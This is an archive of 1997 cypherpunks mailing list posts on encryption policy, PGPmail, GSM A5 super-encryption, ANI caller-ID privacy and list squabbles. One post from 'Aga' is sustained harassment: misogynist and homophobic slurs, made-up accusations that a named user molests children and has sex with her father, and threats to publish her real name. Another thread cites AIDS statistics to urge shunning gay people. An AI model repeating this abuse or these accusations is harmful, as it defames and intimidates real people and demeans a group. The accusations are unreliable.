Communist sued the FBI for ruining her husband's career.  It seems the
FBI planted falsified documents implying that he was an FBI spy where
his fellow communists would find them.  To prove the case, the plaintiff
needed FBI records requested under FOIA.  The FBI refused, citing
"national security".  Two of the judges reviewing the case sensibly
noted that dirty tricks on American citizens during the 1950s are hardly
a national security issue today.  

Ginsberg, however, wrote a chilling dissent.  He *censored* the key
parts of his dissent, because they were based on classified information.
The plaintiff was not permitted to see the heart of Ginsberg's
justification.  That's as close to a secret court as I've ever heard of
in the US.  The case was settled out of court after the FBI lost the
suit, but to this day, I think Ginsberg is the worst judge in the
Federal courts.  I remember this story from the NY Times, but I'm sure
you can find the details yourself if you're interested. 

At any rate, I would consider Ginsberg highly susceptable to "national
security" arguments by the Federal govt. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 07:24:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: soc.culture.belarus
In-Reply-To: <9701160936.AA10669@uu.psi.com>
Message-ID: <ceNm1D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>From belarus@solar.rtd.utk.edu  Thu Jan 16 04:36:38 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 16 Jan 97 06:36:05 EST
	for dlv
Received: from [198.78.213.165] by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
        id AA10669 for dlv@bwalk.dm.com; Thu, 16 Jan 97 04:36:38 -0500
Message-Id: <9701160936.AA10669@uu.psi.com>
Received: from  (LOCALHOST.rtd.utk.edu)
           by solar.rtd.utk.edu; Thu, 16 Jan 97 04:33:28 EST
Date: Thu, 16 Jan 97 04:33:28 EST
Errors-To: kasaty@seanet.com
Reply-To: belarus@solar.rtd.utk.edu
Originator: belarus@solar.rtd.utk.edu
Sender: belarus@solar.rtd.utk.edu
Precedence: bulk
From: "GWDVMS::IFEDCHE" <ifedche@gwdvms.dnet.gwdg.de>
To: Multiple recipients of list <belarus@solar.rtd.utk.edu>
Subject: RE: soc.culture.belarus
X-Listprocessor-Version: 6.0b -- ListProcessor by Anastasios Kotsikonas
X-Comment:  BELARUS issues and communication

:Can anyone tell me if soc.culture.belarus is still active? I have not been
able to access this newsgroup for a while now and my service provider hasn't
answered my question about this. I originally had to make a request to the
ISP to carry the newsgroup but after that, it was ok.
I hope it's only coincidental that I lost contact only about one day after I
placed a posting on the newsgroup.
Barry J Hilchey, <bhilchey@sympatico.ca>
PO Box 668, St Marys, Ontario, N4X 1B6, Canada:

I donn't know exactly what happend to that group,
but some time ago I had e-mail exchange with one
of the moderators. He complained that they (5 persons
or so) are sweating day and night moderating incoming
postings. It might be, therefore, that this honorable
job of censorship starved this people to death.   

Igor Fedchenia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 07:15:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: It's a great new year!  telemarketers and solicitors
In-Reply-To: <199701160822.AAA02684@adnetsol.adnetsol.com>
Message-ID: <BLNm1D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Ross Wright" <rwright@adnetsol.com> writes:
>
> Yeah, if everyone keeps crying and whining about "too much spam"
> "too much information freely available"  Then that's just what will
> happen.  Keep the Government out of the Internet!!!!!!

Keep homosexual censorship out of the Internet!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 16 Jan 1997 09:34:37 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: It's a great new year!  telemarketers and solicitors
Message-ID: <199701161734.JAA12596@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 16 Jan 97 at 9:03, Dr.Dimitri Vulis KOTM wrote:

> "Ross Wright" <rwright@adnetsol.com> writes:
> >
> > Yeah, if everyone keeps crying and whining about "too much spam"
> > "too much information freely available"  Then that's just what
> > will happen.  Keep the Government out of the Internet!!!!!!
> 
> Keep homosexual censorship out of the Internet!

Yeah, That too!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Thu, 16 Jan 1997 06:45:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive
Message-ID: <970116094424_1510150436@emout01.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



God must look kindly on lesbians then, eh?  Statistical evidence is there,
hence that must be the truth....

In a message dated 97-01-16 08:33:21 EST, you write:

> An excellent Article here, pointing out why everybody should
>  shun homosexuals to be safe and healthy.
>  
>  On Wed, 15 Jan 1997, Dr. Jai Maharaj wrote:
>  
>  > When it comes to AIDS, unless there are facts to invalidate the
following
>  > information, it is evident that the homo/bi/sexual lifestyle is
>  > overwhelmingly the most destructive among those listed:
>  > 
>  > "Who Are The Patients?
>  >    "In the United States, homosexual and bisexual males make up
>  > approximately 62 percent of the total patients. The other major group
>  > afflicted with AIDS are intravenous drug abusers -- both men and women
--
>  > who constitute 20 percent of the total. . . ."
>  > 
>  > "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
>  > ==================================  Males  %  Females  %  Both sexes   %
>  > Homosexual/bisexual males          50,325 68           0      50,325  62
>  > Intravenous (IV) drug abusers      12,529 17    3,622 52      16,151  20
>  > Homosexual male an IV drug abusers  5,874  8                   5,874   7
>  > Hemophilia/coagulation disorder       751  1       22  0         773   1
>  > Heterosexuals                       1,516  2    2,073 30       3,589   4
>  > Blood transfusion                   1,297  2      747 11       2,044   3
>  > Undetermined (1)                    2,143  3      519  7       2,662   3
>  > TOTAL                              74,435 91    6,983  9      81,418 100
>  >
=========================================================================
>  > "Note:  Provisional data.  Cases with more than one risk factor than the
>  > combinations listed are tabulated only in the category listed first.
>  > (1) Includes patients on whom risk information is incomplete, patients
>  > still under investigation, men reported only to have had heterosexual
>  > contact with a prostitute, and patients for whom no specific risk was
>  > identified; also includes one health care worker who developed AIDS
after
>  > a documented needle-stick to blood. Source: Centers for Disease
Control."
>  >
=========================================================================
>  > Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989.
>  >
=========================================================================
>  > 
>  > Readers are invited to post data supporting or opposing the above.
>  > 
>  > Jai Maharaj
>  > jai@mantra.com
>  > Om Shanti
>  > 
>  
>  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 16 Jan 1997 09:56:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Finally a good Eudora/PGP integration under Win32
In-Reply-To: <3.0.32.19970115224214.006b1584@192.100.81.126>
Message-ID: <Pine.GSO.3.95.970116095135.18586A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Lucky Green wrote:

> If you are an Eudora user on Win32, you want to take a look at PGPMail. It
> is the best integration of the two products I have seen so far. By a wide
> margin.
> 
> The free beta software is at http://www.pgp.com/products/PGPmail-beta.cgi

It looks pretty good, but the beta I downloaded last night did not have
the plug-in install file as described in the help file.  I need to read
the manual and find out what it takes to install by hand.

It looks very promising though.

(They are also going to be doing a one time deal for PGP 2.6.2 users and
offering the software for about $30.00.  The full version is about $120.00
or so.  (Memory is not working 100% this morning...  Need more coffee.))






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Thu, 16 Jan 1997 10:04:24 -0800 (PST)
To: tmo9d@virginia.edu
Subject: Re: How to crack
Message-ID: <199701161802.KAA08524@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Hi, my name is Tod, and I really want to be a cool hacker, ...

This has *got* to be a troll.  Nobody could be this clueless.


Well, actually, they could.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Thu, 16 Jan 1997 07:03:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt may be more receptive to encryption now
Message-ID: <970116095948_1444710331@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Given his troubles with this "hay seed" scanner recording democrats, ol' Newt
may be more receptive to encryption.

Our privacy certainly is getting trashed by this presidency and I am hoping
an impeachment is coming down the line.

Since the congress is who makes the laws, maybe we all can focus some snail
mail to these guys.

Perhaps EFF could even draft some laws for our protection (what a joke - just
to keep busy body beaurocrats outta our business).

What does it matter anyhow, these guys dont read their own 300 - 5000 page
laws anyhow....

Hopeless....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Thu, 16 Jan 1997 10:07:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for 	 1997
Message-ID: <199701161805.KAA08526@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Robert Hettinga wrote:
> > I fished this out of my killfile. Ironically, I had just plonked Toto
> > yesterday because I saw no compelling merit in anything he has posted to
> > cypherpunks since he got here, and given the quantity of his posts, he was
> > starting to waste my attention. However, this morning, as my mail was
> > coming down in Eudora, I saw that he had replied to this month's DCSB
> > announcement, and, frankly, I knew that it had to be something like this.
> 
>   Why do people feel compelled to 'explain' how they 'chanced'
> to read items in their 'killfile'? It always seems to me to be
> for the purpose of insulting someone while keeping egg off of
> their own face.

Well, I can't speak for R.H., but in my own case, my KILLfile entries
typically look like

	/toto/f:=:j

which displays the subject lines as it junks the articles.  Sometimes
I'll see one go by which interests me, so I'll go back and read it
anyway.

Similarly, people who've been plonked are often quoted in somebody
else's message, so I see it anyway.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Thu, 16 Jan 1997 01:03:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <199701121640.QAA00188@server.test.net>
Message-ID: <Pine.HPP.3.91.970116094730.28526B-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 12 Jan 1997, Adam Back wrote:

>GSM includes A5 encryption here, so basically the whole design is worked out
>- all you'd have to do is rip out the A5 chip and replace with a decent
>encryption system.  Anyone know how modular the design is, for instance if
>it would be possible to give a GSM A5 based cell phone a crypto upgrade
>using published electrical interface standards?  (I want one of those -
>Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)

I don't understand what you are getting at here.
This would demand cooperation from the cell phone provider,
with a compatible device at the other end of the airwaves.
Then the call would go unencrypted through much of the
system until it reached the callee's current cell sender
anyway. GSM is alledgedly A5 encrypted only in the air.

And if A5 is a 'decent' algorithm or not is up to discussion.
It hasn't been up on the list for a long time now but from
earlier discussions I remember that the latest versions of
A5, if not 'strong' in a crypto anarchy sense, are susceptible
to attack only from very sophisticated adversaries and certainly
not from Newt's 'couple'.

Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 16 Jan 1997 08:36:39 -0800 (PST)
To: Scottauge@aol.com
Subject: Re: Newt may be more receptive to encryption now
In-Reply-To: <970116095948_1444710331@emout10.mail.aol.com>
Message-ID: <Pine.GSO.3.95.970116113332.7821C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I think what's important to stress is that technical fixes work, laws
don't.

Net-advocates in DC are already planning to suggest to Republicans that
they use crypto as a hammer to nail Gore (the chief White House supporter
of the current policy) and draw votes and cash from Silicon Valley.

-Declan


On Thu, 16 Jan 1997 Scottauge@aol.com wrote:

> 
> Given his troubles with this "hay seed" scanner recording democrats, ol' Newt
> may be more receptive to encryption.
> 
> Our privacy certainly is getting trashed by this presidency and I am hoping
> an impeachment is coming down the line.
> 
> Since the congress is who makes the laws, maybe we all can focus some snail
> mail to these guys.
> 
> Perhaps EFF could even draft some laws for our protection (what a joke - just
> to keep busy body beaurocrats outta our business).
> 
> What does it matter anyhow, these guys dont read their own 300 - 5000 page
> laws anyhow....
> 
> Hopeless....
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 16 Jan 1997 11:50:23 -0800 (PST)
To: Alan <alano@teleport.com>
Subject: Re: Finally a good Eudora/PGP integration under Win32
Message-ID: <3.0.32.19970116114943.006ae32c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:55 AM 1/16/97 -0800, Alan wrote:
>On Wed, 15 Jan 1997, Lucky Green wrote:
>
>> If you are an Eudora user on Win32, you want to take a look at PGPMail. It
>> is the best integration of the two products I have seen so far. By a wide
>> margin.
>> 
>> The free beta software is at http://www.pgp.com/products/PGPmail-beta.cgi
>
>It looks pretty good, but the beta I downloaded last night did not have
>the plug-in install file as described in the help file.  I need to read
>the manual and find out what it takes to install by hand.

It is a bug in the manual :-) The plugins are already installed by the main
installer. If you can't find the buttons in Eudora, it is because they are
in a different location than you think they are.

Look next to the "Queue" button. PGP should make this clearer in their docs.

BTW, I am I the only one who's text does't wrap when emailing to UNIX
boxes? I have wrapping turned on...

Great program, though.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Russell/SYBASE <Ryan.Russell@sybase.com>
Date: Thu, 16 Jan 1997 11:48:55 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Privacy Issue (ANI in SF Bay Area)
Message-ID: <199701161947.LAA26644@notesgw2.sybase.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's something cute:

Yesterday PacBell turned on ANI on our trunk groups, for 
local area calls.  On their own, mind you, without request 
from us.  If you call anyone here with a display phone,
it displays your number, even if you have caller-id
blocking on or you do a *70 (for those who don't know,
ANI is not caller-id, you can't block your number
from being displayed with ANI.)

It also grabs your phone number if you leave a voice mail,
so even folks without display phones can benefit.

I post this thinking it may be of interest.  I actually
disagree that people ought to be able to block 
their number.  My feeling is that if someone is calling
me, they have no right be anonymous.  Of course, I
realize that this is easy to defeat with call forwarding and such..
In fact, if I call you from my work phone..you won't see
my direct dial number...you'll see a number for PacBell's
trunk group.

Now...I just have to figure out how PacBell is charging us..
if it's .01$ per call like regular ANI...at 100,000 calls per day..
Hmm...first fix is free?  A new PacBell marketing program?
Our CIO loves the new "feature."

    Ryan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Thu, 16 Jan 1997 08:53:01 -0800 (PST)
To: BlackSunday@Hell.DOA (+Sabbath+)
Subject: Re: How to crack
In-Reply-To: <32DDDBE2.7C2C@Hell.DOA>
Message-ID: <199701161653.LAA30115@gate.cybernex.net>
MIME-Version: 1.0
Content-Type: text/plain


An entity claiming to be +Sabbath+ wrote:
: 
: Tim ,Tod, whatever:
: 
: 
: 	The list is for Hackers & Crackers. Since you made the famous Dumbshit
: Statement " I want to be a Hacker" Your first hack test is trying to get
: off the list.
: 

Hackers and Crackers, huh?  News to me.  This list is supposed to be 
for the discussion of crypto, but I think Tim || Tod was more accurate
in implying that it has become a dumping ground for mass marketing.

mark

PS --  No one chooses to be a hacker, you are or you aren't.  The
hacker in the crowd is the kid who took apart the toaster to see how
it worked.  I am of course not using the media version of the term.

-- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Jan 1997 05:31:18 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <853575672.913148.0@fatmans.demon.co.uk>
Message-ID: <199701161239.MAA00283@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > encryption system.  Anyone know how modular the design is, for instance if
> > it would be possible to give a GSM A5 based cell phone a crypto upgrade
> > using published electrical interface standards?  (I want one of those -
> > Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)
> 
> My guess is that this would not work.
> 
> Does anyone know if when you use a GSM phone to call a landline 
> number the cellphone<-> base station trafic is encrypted???
> 
> my guess is that only when you call GSM to GSM is the trafic 
> encrypted and even then I would imagine each phone agrees a key with 
> the base station for the network then the trafic between the base 
> stations is cleartext. The only way, if this were the case, would be 
> to write the code so that the headers and other network information 
> like SIM ID number etc... were cleartext or just A5 to the network as 
> standard and only the actual speech data was encrypted under 
> something stronger. This approach could become troublesome, 
> if I have time I`ll get hold of some GSM specifications and look at 
> it more closely.

All you've got to do is super-encrypt the IDEA encrypted traffic with
the standard A5 hardware - the base station won't notice the
difference.

Schematically, standard GSM hardware:

                       +-------------+
      +-----------+    | compress/   |        +------------+
  <-->| A/D & D/A |<-->| decompress  |<------>| A5 enc/dec |<-->
      +-----------+    +-------------+        +------------+


schematically, adding a super-encryption layer:

                       +-------------+
      +-----------+    | compress/   |        +------------+
  <-->| A/D & D/A |<-->| decompress  |<-|  |->| A5 enc/dec |<-->
      +-----------+    +-------------+  |  |  +------------+
                                        v  v
                                  +-------------+
                                  | IDEA/RSA/DH |
                                  +-------------+


So the question was (addressed to anyone who knows anything about the
electrical interfaces used in GSM) about standardisation of electrical
interfaces -- for instace if the electrical interface between the
voice compression/decompression IC and A5 IC were standardised, you
could build a replacement voice codec IC which performed IDEA/RSA/DH
as well as standard the voice codec function, and had the same pin
out.  This IC would allow a wide range of GSM phones to be upgraded
with minimal effort on the part of GSM phone manufacturers -- or even
desoldered and replaced by end users, or crypto hardware company.

However, there are several reasons why it would probably require
proper integration into a GSM phone design:

- keys tied to phone number memories
- display of signature result on screen
- PIN for phone's RSA signature keys
- face to face key exchange
- key revocation
- generating new keys

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: thad@hammerhead.com (Thaddeus J. Beier)
Date: Thu, 16 Jan 1997 13:21:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701162123.NAA07816@hammerhead.com>
MIME-Version: 1.0
Content-Type: text/plain



 
jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
> IMMEDIATE ATTENTION 
> The Arkansas Police have declared that is is illegal to own, use, or
> possess RSU product #11265113, a fully assembled
> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
> legal department is researching this and the product has been removed
> from RSU distribution.  DO NOT take order or sell this product until
> this situation can be resolved.

I called the Arkansas State Police, 501-221-8200, to try to verify this,
and they're "going to have somebody call me back."  I'm not holding my
breath...

If anybody has a definative source on this, I'd love to see it; it's
mindboggling.

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 16 Jan 1997 13:21:32 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <v02140b04af0421fda308@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>It figures.  It's Fuehrer Clinton's home state, isn't it?
>
>Somedays, this shit just makes me want to give up on the USA, and
>emigrate to Anguila.
>
Have you spent time in Anguila?  I have.  As a visitor its a very safe,
friendly, family-oriented society.  But as a resident the picture is
somewhat different due to a certain cliqish-ness and small-country
mentality (e.g., the exclusive arrangement of Cable & Wireless).  Don't get
me wrong I love the place.  It certainly a world apart from St. Martin/Sint
Maarten only 8 miles distant.

>-jcr
>
>begin forwarded message:
>
>Date:  January 15, 1997
>To:  All RadioShack Stores
>From:  RadioShack Communications
>Subject:  URGENT PRODUCT NOTIFICATION
>Memo Id:  8216
>
>IMMEDIATE ATTENTION
>The Arkansas Police have declared that is is illegal to own, use, or
>possess RSU product #11265113, a fully assembled
>descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
>legal department is researching this and the product has been removed
>from RSU distribution.  DO NOT take order or sell this product until
>this situation can be resolved.
>

I'm sure this represents an interference in interstate commerce and won't
stand up in court.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aga <aga@dhp.com>
Date: Thu, 16 Jan 1997 05:43:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Naughty, naughty...
In-Reply-To: <5apke4$alu@dfw-ixnews3.ix.netcom.com>
Message-ID: <5blb8p$nt4@stronghold.dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Follower of the Clawed Albino <afn23950@afn.org> wrote:

In all of the years I have been on UseNet, this has to be
the DUMBEST Cunt I have ever seen!

: -----BEGIN PGP SIGNED MESSAGE-----

: In article <qum4tgoil06.fsf@cyclone.stanford.edu>,
: Russ Allbery <rra@cs.stanford.edu> carved on the cave wall:
: > 
: > Wrong.  You didn't look far enough (and please read the whole thread; I
: > explicitly explained this).  From <URL:http://www.dhp.com/helpus.html>:
: > 
: >    So you want an account? Send us cash/check/money order (in US funds
: >    please), whatever your preferred method of payment is (sorry, no
: >    credit cards, yours or others, please no netcom lists). Include with
: >    it what you want as a login name, what you want as an initial
: >    password, and optionally a way to contact you. If you would like us to
: >    contact you when the account has been created, tell us, if not expect
: >    it to take less than a week after you mail it if you are inside the
: >    US. We don't require any postive way to identify you, your privacy is
: >    important to us.
: > 
: > In other words, you can send them cash in an unmarked envelope and they'll
: > create an account.  No paper trail.  No billing address.  It's anonymous.

: *ack*

: Hadn't gotten the entire thread on my system when I replied...thanks for 
: the correction.  (Yes, I can admit when I fuck up. :)  At least last time
: I saw the page (June-ish?) I thought I remembered their stating they accepted
: credit cards...ah well, yes, I can be wrong on occasion. :)

You fuck up when you molest those little boys and get caught.
And are you still fucking your Father for those pictures?

: However, unless you sent them a twenty-dollar bill a month directly 
: placed in their postal box, wouldn't it at least have the postal office
: address stamped on it?  (At least it has the office stamped on the postmarks
: in Louisville...)  Not saying it does or doesn't, just wondering.

Just shut up and go away, you perverted child-molesting lesbian.
We are soon going to have you arrested for harassment by communication,
and you will be off the net for good.  Both IBM net and black-hole
are helping to prosecute you.

: Also, wouldn't this make it difficult to trace someone if someone was 
: delinquent in payment?  Or, for that matter, if someone was forging someone
: else's name on a money order, etc.?  (I'm not saying they have trouble with
: this, or even give a damn--just musing potential problems with not verifying
: who is sending payment, etc.  Understood they're trying to provide 
: pseudonymous accounts and all, but they could always state that stuff like
: snail-addresses, etc. wouldn't be turned over save by court order.  Hell,
: even most freenets require at least some sort of verification anymore :)
: (whether it be a valid mail address, something you have to mail in, or on
: some occasions copies of photo ID and such).)

: (Not that that part has any relation at all re net.abusers at dhp.com--
: they don't have to know EXACTLY who it is, they can just shut down the
: account.  Khijol.org, who offers pseudonymous accounts for the alt.support.*
: groups, does have a rather strong AUP that states that misuse of the system
: (for threats or net.abuse, among other things) can lead to nukage, can do 
: this fairly well.)

There are NO net-abusers at DHP.com, and it is the most respectable ISP
on the net.  They are not going to get pushed around by dumb cunts like you,
as you always try to do with postmasters.  But after we tell them all about 
you, they just laugh it all off.   Remember, I have ten Criminal Lawyers in
my Organization, and you have none.

Just what are you going to do in jail, cunt? -- when you have no more
little boys and girls to molest?

: In any case, this brings up a separate issue entirely on accounts and such.
: (Namely, how exactly can one run a pay pseudonymous account service with the
: maximum privacy protection, yet allow for closing accounts and, possibly,
: proscecution if someone is committing flagrant net.abuse, especially to 
: the point of being illegal?)

You are the illegal one, you stupid cunt.
It is illegal to complain to any postmaster about
any usenet posting, as that is "harassment by commmmunication," and we are 
going to have you prosecuted for that.  Perverted dykes like you who 
molest children as a hobby are about to get kicked off this mans UseNet.

: > -- 
: > Russ Allbery (rra@cs.stanford.edu)      <URL:http://www.eyrie.org/~eagle/>

Well Russ, too bad you listen to this dumb cunt.
You used to have potential, but you have lost it. it seems.
 
: - --
: - -Windigo The Feral (NYAR!)              

This girl is a verified child-molester and she has been SEEN having
sex with her Father and another man.  I am not going to respond to
filthy lesbian sluts like this any more.

See you in Court, Cunt.  I am keeping track of every postmaster that
you complain to, and telling them all what a sleazy wacko lesbian
trouble-maker that you are.  One of these days, we will get your REAL
name and plaster it all over this InterNet. In the meantime, we 
laugh at you on the telephone when we talk about you, and everybody 
knows by now that you know nothing about the law and are just full of shit.

Bye, you slut-cunt lesbian child-molesting whore.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 16 Jan 1997 11:01:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions 	for 	 1997
In-Reply-To: <199701161805.KAA08526@peregrine.eng.sun.com>
Message-ID: <v03007808af042a232676@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:05 pm -0500 1/16/97, Ed Falk wrote:
>Well, I can't speak for R.H., but in my own case, my KILLfile entries
>typically look like
>
>	/toto/f:=:j
>
>which displays the subject lines as it junks the articles.

And, in my case, Eudora displays each message in the status window as it's
bringing something down from the POP server, and again as it filters.

>Similarly, people who've been plonked are often quoted in somebody
>else's message, so I see it anyway.

So it seems...

:-).

So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.



Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 16 Jan 1997 14:14:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Privacy Issue (ANI in SF Bay Area)
In-Reply-To: <199701161947.LAA26644@notesgw2.sybase.com>
Message-ID: <32DEA7D9.510@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Can I (or you) send this to comp.decom.telecom and comp.risks?
If true, this merits wider distribution, but I don't want to cause
you any trouble. Then again, I don't see your email address...

-rich

Ryan, Russell/SYBASE wrote:
> 
> Here's something cute:
> 
> Yesterday PacBell turned on ANI on our trunk groups, for
> local area calls.  On their own, mind you, without request
> from us.  If you call anyone here with a display phone,
> it displays your number, even if you have caller-id
> blocking on or you do a *70 (for those who don't know,
> ANI is not caller-id, you can't block your number
> from being displayed with ANI.)
> 
> It also grabs your phone number if you leave a voice mail,
> so even folks without display phones can benefit.
> 
> I post this thinking it may be of interest.  I actually
> disagree that people ought to be able to block
> their number.  My feeling is that if someone is calling
> me, they have no right be anonymous.  Of course, I
> realize that this is easy to defeat with call forwarding and such..
> In fact, if I call you from my work phone..you won't see
> my direct dial number...you'll see a number for PacBell's
> trunk group.
> 
> Now...I just have to figure out how PacBell is charging us..
> if it's .01$ per call like regular ANI...at 100,000 calls per day..
> Hmm...first fix is free?  A new PacBell marketing program?
> Our CIO loves the new "feature."
> 
>     Ryan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Yiango-George Yiangoullis [YiST]" <eleni@cytanet.com.cy>
Date: Thu, 16 Jan 1997 05:06:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: How to crack
Message-ID: <1.5.4.32.19970116130620.00664404@mail.cytanet.com.cy>
MIME-Version: 1.0
Content-Type: text/plain


At 12:37 AM 16/01/97 -0500, you wrote:
>>X-Persona: <AquaDeath>
>>Date: Wed, 15 Jan 1997 21:21:54 +0000
>>From: "Tim O'Brien" <tmo9d@virginia.edu>
>>Organization: University of Virginia
>>To: cypherpunks@toad.com
>>Subject: How to crack
>>Sender: owner-cypherpunks@toad.com
>>
>
>Thanks for your wonderful insight, next time keep it to yourself.
>
>>Hi, my name is Tod, and I really want to be a cool hacker, so I joined
>>this crap mailing list called cypherpunks.  
>>
>>
>>
>>Blah Blah Blah, you guys don't know anything...Prove yourself and I may
>>let you in.  This mailing list is for people who want to sell goods
>>nothing else.....
>>
>>
>
>
 Yiango-George Yiangoullis
 eleni@cytanet.com.cy
 http://www.geocities.com/SiliconValley/2208/index.htm	

  --====--
   Student :  I hear that fish is brain food.
   Roommate:  Yeah, I eat it all the time.
   Student :  Well, there goes another theory.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Rockefeller <dozer@megan.netwizards.net>
Date: Thu, 16 Jan 1997 15:28:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Special Offer!
